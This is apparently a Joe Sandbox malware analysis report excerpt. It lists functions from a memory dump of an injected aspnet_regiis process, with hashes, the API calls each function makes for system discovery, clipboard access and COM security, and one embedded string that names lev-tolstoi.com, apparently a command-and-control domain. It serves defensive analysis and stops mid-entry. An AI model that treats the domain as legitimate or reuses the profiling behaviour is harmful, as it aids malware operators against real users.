Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: Uninitialize
String ID: 6=.)$<1!9$`{tu$lev-tolstoi.com
API String ID: 3861434553-1386727196
Opcode ID: 8d626705dcfdc6932566f1cd300ba6fa2d07796faf8b8e4b24d87cd7f69ea0c1
Instruction ID: c261f4e6c77983af1cc9d53e52cc38c97c5e884753c9c8a8937805abf8bbffd7
Opcode Fuzzy Hash: 8d626705dcfdc6932566f1cd300ba6fa2d07796faf8b8e4b24d87cd7f69ea0c1
Instruction Fuzzy Hash: 09A103B52047818FD716CF2AC4D0756BBE2FFA6304B18899CC8D24F75AD736A446CB91

Function 72C5D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 72C5D3EE

Strings

><+, xrefs: 72C5D353

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ><+
API String ID: 3960555810-2918635699
Opcode ID: f36516b8c752d9f96217e6134381c60ab0554eec521bd469f67543d3d1265131
Instruction ID: 8bf420ed8ae52bd493437fb6e55a2fa0dbfb9438a7c713b001d08e9133d69f35
Opcode Fuzzy Hash: f36516b8c752d9f96217e6134381c60ab0554eec521bd469f67543d3d1265131
Instruction Fuzzy Hash: 88C1C0756047818FD715CF2AC490762FBF2AF9A314B28899DC4EB8B752C735E846CB50

Function 72C70D20 Relevance: 2.9, Strings: 2, Instructions: 425COMMON

Download Yara Rule

Strings

@Ukx, xrefs: 72C70F53
, xrefs: 72C70DC3, 72C70EAB

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: @Ukx$
API String ID: 2994545307-3636270652
Opcode ID: 12f8496ffa148b3f09076524ad90a999b37e5d37b93516ee31a7795007306739
Instruction ID: 7b404ae39f886bfa66500402a4b2d1de45831173c52331bbd05ee2e7c8e1e1e6
Opcode Fuzzy Hash: 12f8496ffa148b3f09076524ad90a999b37e5d37b93516ee31a7795007306739
Instruction Fuzzy Hash: D9B15332B087504BD318CE29CCE26ABB7A3EBE5314F198A3CD9975B385DA759C058781

Function 72C6E110 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(72C7148A,035BF838,00000018,?,?,00000018,?,?,?), ref: 72C6E13E

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 72C57440 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

_^]\, xrefs: 72C57465

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: ae24a9c0565cb71d9cc5d5f7a56972cb52d0df7ffd5bb92d7e772cc71c522cab
Instruction ID: 0958fb32b39ec00d43c48862865938bc7e2a18b60c33a4d36a496ca8dd1ae876
Opcode Fuzzy Hash: ae24a9c0565cb71d9cc5d5f7a56972cb52d0df7ffd5bb92d7e772cc71c522cab
Instruction Fuzzy Hash: 11713AB1A043005BD7058A2EDC93B6B77F1DFE5318F69852CE48787382E634DA49C75A

Function 72C71720 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

=<32, xrefs: 72C7176D

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: =<32
API String ID: 2994545307-852023076
Opcode ID: e85814dc1c3a7c428ef50ac6838574ac2e2afb373a5494cd822b611795a871ef
Instruction ID: b164c5fce8d24b53a0c93597b6a72b756a2be1d90e473a5a4ebe282f1f9220f5
Opcode Fuzzy Hash: e85814dc1c3a7c428ef50ac6838574ac2e2afb373a5494cd822b611795a871ef
Instruction Fuzzy Hash: 56316639608344AFE304CE69CC90B3BB7AAEFE4754F159A2CE68257390E7B0D8408781

Function 72C51A10 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

,-, xrefs: 72C51A64

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: ,-
API String ID: 0-1027024164
Opcode ID: a1944d2d9709ad2fe14c7f4ea07cfd0e6a07cea613789c0f27e2245553877723
Instruction ID: 100fe3d2155e1d88966e0cf56399d455cd435e9411571d4e852fcd22ff74b789
Opcode Fuzzy Hash: a1944d2d9709ad2fe14c7f4ea07cfd0e6a07cea613789c0f27e2245553877723
Instruction Fuzzy Hash: 0E2167A19503008BC3129F2ECC56627B7B2EFD2364F559618F4828F351F3B4C906C7A6

Function 72C70340 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 72C703AD

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 0fdb5e91f227eb3bc91f10741ef382c409cdd7cae009b3c39bc62b8b9aaa11bd
Instruction ID: 8102d98605ae1f3fa7cc2b85b63bc90ba6ca923bf0eb124894678c902378fded
Opcode Fuzzy Hash: 0fdb5e91f227eb3bc91f10741ef382c409cdd7cae009b3c39bc62b8b9aaa11bd
Instruction Fuzzy Hash: FC31E1715083048BD304DE58C8D166FBBF5EBD5324F14893CE69A87390D735D848CB92

Function 72C3CC7A Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings$Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 1780199113-0
Opcode ID: d7e3eca883618c13f52c53bdb373486923857b48d2684b5bc9421c205cb6df26
Instruction ID: f88e33a3d4e22b7dcf6531bdf261833a65bb9ae5c34d46a7596a27d934a06890
Opcode Fuzzy Hash: d7e3eca883618c13f52c53bdb373486923857b48d2684b5bc9421c205cb6df26
Instruction Fuzzy Hash: 7C3184E9F002401BE616663A2D62ABF3D574BF1718F58082CD4072B3C3EE65FA1681DB

Function 72C38A50 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction ID: 17c32b36af0b2803efbe506979ca1e0925f46c217f5c8fe2189d86d3c4cc7e34
Opcode Fuzzy Hash: de8a8dcc9c3ab3076e5cd776fb6cd32bc0718f272d39d571d2e216b7fbce9e89
Instruction Fuzzy Hash: 3C21C837A627184BD3008E54DCC87917762E7D9318F3E86B8C9249F3D2C57BA91386C0

Function 72C5D7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 72C5D898
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 72C5DC43

Strings

;87>, xrefs: 72C5DBEB

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: ;87>
API String ID: 2904949787-2104535307
Opcode ID: d249b72306c614633c7fd26bc61a351f93f42aaa4fa22e4fc48957eaf1dc2edc
Instruction ID: 8edaf4c3b6b035064b921dbe8745a3440f83e3fb4f8000f6ae45a847ebea34d4
Opcode Fuzzy Hash: d249b72306c614633c7fd26bc61a351f93f42aaa4fa22e4fc48957eaf1dc2edc
Instruction Fuzzy Hash: 8E21C871504782CFD7128F2AC850716BFF2AFAB201F298A99D4E78B38AD634D486C755

Function 72C5D893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 72C5D898
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 72C5DC43

Strings

;87>, xrefs: 72C5DBEB

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: ;87>
API String ID: 2904949787-2104535307
Opcode ID: 7cce8715719344e26c1874847838b917660738075b5538c73fd64c4c95995b40
Instruction ID: 58d44740a9f74c65c860af3c13afb014bccf759f92168eeb0c297775a9576d8b
Opcode Fuzzy Hash: 7cce8715719344e26c1874847838b917660738075b5538c73fd64c4c95995b40
Instruction Fuzzy Hash: AB11C8B1101B42CFD7118F3AD85075ABBE2FFAB211F29CA98D4968B396D634D486CB50

Function 72C6E34B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 72C6E3BA

Strings

, xrefs: 72C6E365, 72C6E37C

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-3019521637
Opcode ID: 7d9c4801b976e5ae29a8d71633f73bdb9194d6569060c5ee7e19ccd28d52a848
Instruction ID: 9aa140ad756664d971f887c9e9de3204d5447a169867ae66af4726620d1c869f
Opcode Fuzzy Hash: 7d9c4801b976e5ae29a8d71633f73bdb9194d6569060c5ee7e19ccd28d52a848
Instruction Fuzzy Hash: 33112F77E8089147DF08CA3DCC561AA77A2A3E432573D4ABDC816E3380D93858068740

Function 72C39D1E Relevance: 3.1, APIs: 2, Instructions: 142libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 72C39D98
LoadLibraryExW.KERNEL32(?,00000000), ref: 72C39E78

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b918624d5eb4c8be4399d2216491bebc755a9bb774e07d36884af07effcf139e
Instruction ID: fbfe8146819471b2bdd73502d8c795b4e3258d82f0f2871567b50325e402ba97
Opcode Fuzzy Hash: b918624d5eb4c8be4399d2216491bebc755a9bb774e07d36884af07effcf139e
Instruction Fuzzy Hash: 5D4112B4D003409FE7159F78D9D6A9A7FB1FB56224F60479CD4902F3A6C631940ACBE2

Function 72C3EF53 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 72C3EF57
CoInitializeEx.COMBASE(00000000,00000002), ref: 72C3F09C

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: a7b3961675672919f6088dea3a4f57b199d9ff14327bb489dd7c0d47c58f43ed
Instruction ID: c12f7e5fe1714a418e7775e6f727b9d241e99ba48f14bb08c2aafd3a8cbd7116
Opcode Fuzzy Hash: a7b3961675672919f6088dea3a4f57b199d9ff14327bb489dd7c0d47c58f43ed
Instruction Fuzzy Hash: 1741C6B4910B40AFD370EF398A0B7137EB8AB05250F504B1DF9E6866D4E331A4198BD7

Function 72C3EC77 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 72C3EC89
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 72C3ECA2

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 1d18f1cf9d80352d2819703c61cfc5232ac075f7b4cdee65f973ba21067914c9
Instruction ID: cbe8297162fac649ce7abe9fe07c0c4999db27ab2ebcb34658043bd02c879393
Opcode Fuzzy Hash: 1d18f1cf9d80352d2819703c61cfc5232ac075f7b4cdee65f973ba21067914c9
Instruction Fuzzy Hash: 4AE0E2753D83917AF3788602CD1BF243221AB61F22F300708B7213E3C48BE03504450C

Function 72C67764 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 72C6779D

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: b50b340b07807020c386f951b2400486080bc1681c8a9fa1558a57be9792f029
Instruction ID: dc741fb81d0f0153cd1b35c9f73aa494ab7ab0b60082b3ae760283cd1032d7c6
Opcode Fuzzy Hash: b50b340b07807020c386f951b2400486080bc1681c8a9fa1558a57be9792f029
Instruction Fuzzy Hash: 4A31D532B466808FD715CA7CC8D37ADBFE38BE5214F1E81A9D459CB391C9388946CB20

Function 72C5D7BD Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 72C5DD03

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 74f65b53fdf065f2fed50168027f60320ad43909a8cb410cde32cd6dc8c7e154
Instruction ID: 8421f6aa2f28d463f09ba3c359a6108f10c6100d0399eb0b093f7788c96ce285
Opcode Fuzzy Hash: 74f65b53fdf065f2fed50168027f60320ad43909a8cb410cde32cd6dc8c7e154
Instruction Fuzzy Hash: 4521A470504B918BD7268F3AC460722BBE2BF6B204F2896DDD4D38B78AC674E446C765

Function 72C5DC76 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 72C5DD03

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 267dbe4d930c4baae4fe0b422b23308a87f7c78dcc7ea9d0448a2543512ebd61
Instruction ID: 6c9434aee642e38f6deaeadeb96835e560e178a7f26595bd3e2a66f6de4c07d7
Opcode Fuzzy Hash: 267dbe4d930c4baae4fe0b422b23308a87f7c78dcc7ea9d0448a2543512ebd61
Instruction Fuzzy Hash: D011E7B06447918BD716CF29C460722BBE2FF5A204B2CC69DD493CB386CA74E485CB61

Function 72C6E0A0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 72C6E0E0

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8db41583be522588e3410d11b90e75a982dfe1f3cf7df30f0c26cfc5f91dc64e
Instruction ID: 37b6856e32771782f99c92cc2df02375eac3b2b9aa8a257dd054b0d4b0436943
Opcode Fuzzy Hash: 8db41583be522588e3410d11b90e75a982dfe1f3cf7df30f0c26cfc5f91dc64e
Instruction Fuzzy Hash: 61F0A732454191EBC3115E3D6D08B573AA4AFE2710F160969E80057114DA35D915D591

Function 72C6E3A9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 72C6E3BA

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: e1b0e91d63c3de2ba1440b1f067b7394ba96abb6530e3793890084b0e6fcb2a2
Instruction ID: d61e0656fb12ad4ce5086a14caf51980bb25a72f3c29672b30cb98c2bbc6a1d5
Opcode Fuzzy Hash: e1b0e91d63c3de2ba1440b1f067b7394ba96abb6530e3793890084b0e6fcb2a2
Instruction Fuzzy Hash: 37F08CBBE905928FDB04CF66CC5066433A3B7E831232D8A6CD502A3304DA30A906CA51

Function 72C60B2B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 72C60B74

Memory Dump Source

Source File: 00000003.00000002.2243804143.0000000072C31000.00000020.00000400.00020000.00000000.sdmp, Offset: 72C30000, based on PE: true

Associated: 00000003.00000002.2243786318.0000000072C30000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243838411.0000000072C72000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243859325.0000000072C75000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2243881494.0000000072C83000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_72c30000_aspnet_regiis.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: b57cf10ee7397a9134ec54706d7336be76dba2a719f023385c887f8ae568c968
Instruction ID: e9c8ff129496eba735be489c83e0ad497f83a5412c4fe26c99c463dccd045145
Opcode Fuzzy Hash: b57cf10ee7397a9134ec54706d7336be76dba2a719f023385c887f8ae568c968
Instruction Fuzzy Hash: 25F0DAB4109701CFE344DF29C1A471ABBF0FB88704F10894CE4968B390CB75AA48CF82

Function 72C628EB Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 72C6292F

Memory Dump Source

